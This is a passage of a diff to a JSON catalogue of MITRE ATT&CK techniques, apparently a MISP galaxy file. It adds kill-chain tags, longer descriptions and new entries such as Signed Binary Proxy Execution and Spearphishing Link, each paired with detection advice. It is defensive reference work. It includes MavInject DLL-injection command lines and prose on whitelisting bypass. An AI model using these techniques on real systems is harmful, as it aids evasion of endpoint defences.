against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: SSL/TLS inspection, Packet capture\n\nRequires Network: Yes\n\nContributors: Matt Kelly, @breakersall",
"value": "Domain Fronting - T1172",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1172",
"http://www.icir.org/vern/papers/meek-PETS-2015.pdf"
],
+ "external_id": "T1172",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
- "SSL/TLS inspection"
+ "SSL/TLS inspection",
+ "Packet capture"
],
"mitre_platforms": [
"Linux",
@@ -1588,6 +2281,10 @@
"https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
],
+ "external_id": "T1149",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"Binary file metadata",
"Malware reverse engineering",
@@ -1599,6 +2296,31 @@
},
"uuid": "a0a189c8-d3bd-4991-bf6f-153d185ee373"
},
+ {
+ "description": "Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.\n\n===Mavinject.exe===\nMavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32)\n\n\"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe\" /INJECTRUNNING \nC:\\Windows\\system32\\mavinject.exe /INJECTRUNNING \n\n===SyncAppvPublishingServer.exe===\nSyncAppvPublishingServer.exe can be used to run powershell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)\n\nSeveral others binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)\n\nDetection: Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Digital Certificate Validation\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Praetorian",
+ "value": "Signed Binary Proxy Execution - T1218",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1218",
+ "https://twitter.com/gn3mes1s/status/941315826107510784",
+ "https://twitter.com/monoxgas/status/895045566090010624",
+ "https://github.com/api0cradle/UltimateAppLockerByPassList"
+ ],
+ "external_id": "T1218",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:execution"
+ ],
+ "mitre_data_sources": [
+ "Process monitoring",
+ "Process command-line parameters"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ]
+ },
+ "uuid": "457c7820-d331-465a-915e-42f85500ccc4"
+ },
{
"description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Casey Smith, Travis Smith, Tripwire",
"value": "InstallUtil - T1118",
@@ -1607,6 +2329,11 @@
"https://attack.mitre.org/wiki/Technique/T1118",
"https://msdn.microsoft.com/en-us/library/50614e95.aspx"
],
+ "external_id": "T1118",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:execution"
+ ],
"mitre_data_sources": [
"Process monitoring",
"Process command-line parameters"
@@ -1625,6 +2352,10 @@
"https://attack.mitre.org/wiki/Technique/T1001",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
+ "external_id": "T1001",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
"Packet capture",
"Process use of network",
@@ -1646,6 +2377,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1023"
],
+ "external_id": "T1023",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process command-line parameters",
@@ -1672,6 +2407,10 @@
"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
],
+ "external_id": "T1159",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process Monitoring"
@@ -1683,19 +2422,39 @@
"uuid": "dd901512-6e37-4155-943b-453e3777b125"
},
{
- "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system. This is common behavior that can be used across different platforms to evade defenses. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis)\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering\n\nDefense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems",
+ "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a Command-Line Interface. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)\n\nAnother example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding Invoke-PSImage. The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used Invoke-PSImage to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)\n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering, Process command-line parameters, Environment variable, Process Monitoring, Windows event logs, Network intrusion detection system, Email gateway, SSL/TLS inspection\n\nDefense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems, Application whitelisting, Process whitelisting, Log analysis, Whitelisting by file name or path\n\nContributors: Red Canary, Christiaan Beek, @ChristiaanBeek",
"value": "Obfuscated Files or Information - T1027",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1027",
- "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/"
+ "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/",
+ "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/",
+ "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
+ "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
+ "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf",
+ "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/",
+ "https://en.wikipedia.org/wiki/Duqu",
+ "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/",
+ "https://github.com/danielbohannon/Revoke-Obfuscation",
+ "https://github.com/itsreallynick/office-crackros"
+ ],
+ "external_id": "T1027",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
],
"mitre_data_sources": [
"Network protocol analysis",
"Process use of network",
"Binary file metadata",
"File monitoring",
- "Malware reverse engineering"
+ "Malware reverse engineering",
+ "Process command-line parameters",
+ "Environment variable",
+ "Process Monitoring",
+ "Windows event logs",
+ "Network intrusion detection system",
+ "Email gateway",
+ "SSL/TLS inspection"
],
"mitre_platforms": [
"Linux",
@@ -1706,11 +2465,16 @@
"uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a"
},
{
- "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, File monitoring, API monitoring\n\nPermissions Required: User",
+ "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\n\nPlatforms: Windows, macOS\n\nData Sources: Process monitoring, File monitoring, API monitoring\n\nPermissions Required: User\n\nContributors: Praetorian",
"value": "Video Capture - T1125",
"meta": {
"refs": [
- "https://attack.mitre.org/wiki/Technique/T1125"
+ "https://attack.mitre.org/wiki/Technique/T1125",
+ "https://objective-see.com/blog/blog%200x25.html"
+ ],
+ "external_id": "T1125",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:collection"
],
"mitre_data_sources": [
"Process monitoring",
@@ -1718,7 +2482,8 @@
"API monitoring"
],
"mitre_platforms": [
- "Windows"
+ "Windows",
+ "macOS"
]
},
"uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf"
@@ -1735,6 +2500,10 @@
"https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/",
"https://vms.drweb.com/virus/?i=4276269"
],
+ "external_id": "T1036",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
@@ -1757,6 +2526,10 @@
"https://msdn.microsoft.com/en-us/library/aa375365",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf"
],
+ "external_id": "T1073",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"Process use of network",
"Process monitoring",
@@ -1775,6 +2548,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1020"
],
+ "external_id": "T1020",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:exfiltration"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
@@ -1795,6 +2572,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1046"
],
+ "external_id": "T1046",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"Netflow/Enclave netflow",
"Network protocol analysis",
@@ -1811,12 +2592,18 @@
"uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88"
},
{
- "description": "Adversaries may move to additional systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into another system and executes. This may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system.\n\nDetection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Removable media allowed, Autorun enabled or vulnerability present that allows for code execution",
+ "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nDetection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Removable media allowed, Autorun enabled or vulnerability present that allows for code execution",
"value": "Replication Through Removable Media - T1091",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1091"
],
+ "external_id": "T1091",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:lateral-movement",
+ "mitre-attack:enterprise-attack:credential-access",
+ "mitre-attack:enterprise-attack:initial-access"
+ ],
"mitre_data_sources": [
"File monitoring",
"Data loss prevention"
@@ -1839,6 +2626,10 @@
"https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6",
"https://github.com/nccgroup/redsnarf"
],
+ "external_id": "T1076",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:lateral-movement"
+ ],
"mitre_data_sources": [
"Authentication logs",
"Netflow/Enclave netflow",
@@ -1857,6 +2648,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1029"
],
+ "external_id": "T1029",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:exfiltration"
+ ],
"mitre_data_sources": [
"Netflow/Enclave netflow",
"Process use of network",
@@ -1887,6 +2682,11 @@
"https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/",
"https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/"
],
+ "external_id": "T1088",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"System calls",
"Process monitoring",
@@ -1899,6 +2699,35 @@
},
"uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be"
},
+ {
+ "description": "The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL) (Citation: NVD CVE-2016-6662), standard services (like SMB (Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services. (Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include Exploitation for Defense Evasion.\n\nFor websites and databases, the OWASP top 10 gives a good list of the top 10 most common web-based vulnerabilities. (Citation: OWASP Top 10)\n\nDetection: Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Application logs, Packet capture, Web logs, Web application firewall logs",
+ "value": "Exploit Public-Facing Application - T1190",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1190",
+ "https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
+ "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/",
+ "https://nvd.nist.gov/vuln/detail/CVE-2014-7169",
+ "https://www.owasp.org/index.php/Category:OWASP%20Top%20Ten%20Project"
+ ],
+ "external_id": "T1190",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:initial-access"
+ ],
+ "mitre_data_sources": [
+ "Application logs",
+ "Packet capture",
+ "Web logs",
+ "Web application firewall logs"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "3f886f2a-874f-4333-b794-aa6075009b1c"
+ },
{
"description": "===Windows===\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n===Mac===\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.\n\nDetection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.\n\nPlatforms: macOS, Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Write access to system or domain logon scripts",
"value": "Logon Scripts - T1037",
@@ -1908,6 +2737,11 @@
"https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx",
"https://support.apple.com/de-at/HT2420"
],
+ "external_id": "T1037",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:lateral-movement",
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process monitoring"
@@ -1928,6 +2762,10 @@
"http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
+ "external_id": "T1090",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
"Process use of network",
"Process monitoring",
@@ -1943,13 +2781,19 @@
"uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea"
},
{
- "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique has been used in campaigns targeting governments. (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nDetection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
+ "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)\n\nDetection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
"value": "Regsvr32 - T1117",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1117",
"https://support.microsoft.com/en-us/kb/249873",
- "https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html"
+ "https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html",
+ "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"
+ ],
+ "external_id": "T1117",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:execution"
],
"mitre_data_sources": [
"Loaded DLLs",
@@ -1971,6 +2815,10 @@
"https://attack.mitre.org/wiki/Technique/T1083",
"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
],
+ "external_id": "T1083",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process command-line parameters",
@@ -1998,6 +2846,11 @@
"https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/",
"https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx"
],
+ "external_id": "T1181",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_platforms": [
"Windows"
]
@@ -2012,6 +2865,10 @@
"https://attack.mitre.org/wiki/Technique/T1136",
"https://docs.microsoft.com/windows/device-security/auditing/event-4720"
],
+ "external_id": "T1136",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"Process Monitoring",
"Process command-line parameters",
@@ -2034,6 +2891,10 @@
"https://attack.mitre.org/wiki/Technique/T1043",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
+ "external_id": "T1043",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
"Packet capture",
"Netflow/Enclave netflow",
@@ -2058,6 +2919,10 @@
"https://en.wikipedia.org/wiki/Character%20encoding",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
+ "external_id": "T1132",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
"Packet capture",
"Process use of network",
@@ -2086,6 +2951,10 @@
"https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning",
"https://github.com/Kevin-Robertson/Conveigh"
],
+ "external_id": "T1171",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
"mitre_data_sources": [
"Windows Registry",
"Packet capture",
@@ -2106,6 +2975,10 @@
"http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html",
"http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx"
],
+ "external_id": "T1081",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process command-line parameters"
@@ -2118,6 +2991,34 @@
},
"uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c"
},
+ {
+ "description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attachment malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons).\n\nDetection: URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once User Execution occurs.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Packet capture, Web proxy, Email gateway, Detonation chamber, SSL/TLS inspection, DNS records, Mail server",
+ "value": "Spearphishing Link - T1192",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1192"
+ ],
+ "external_id": "T1192",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:initial-access"
+ ],
+ "mitre_data_sources": [
+ "Packet capture",
+ "Web proxy",
+ "Email gateway",
+ "Detonation chamber",
+ "SSL/TLS inspection",
+ "DNS records",
+ "Mail server"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba"
+ },
{
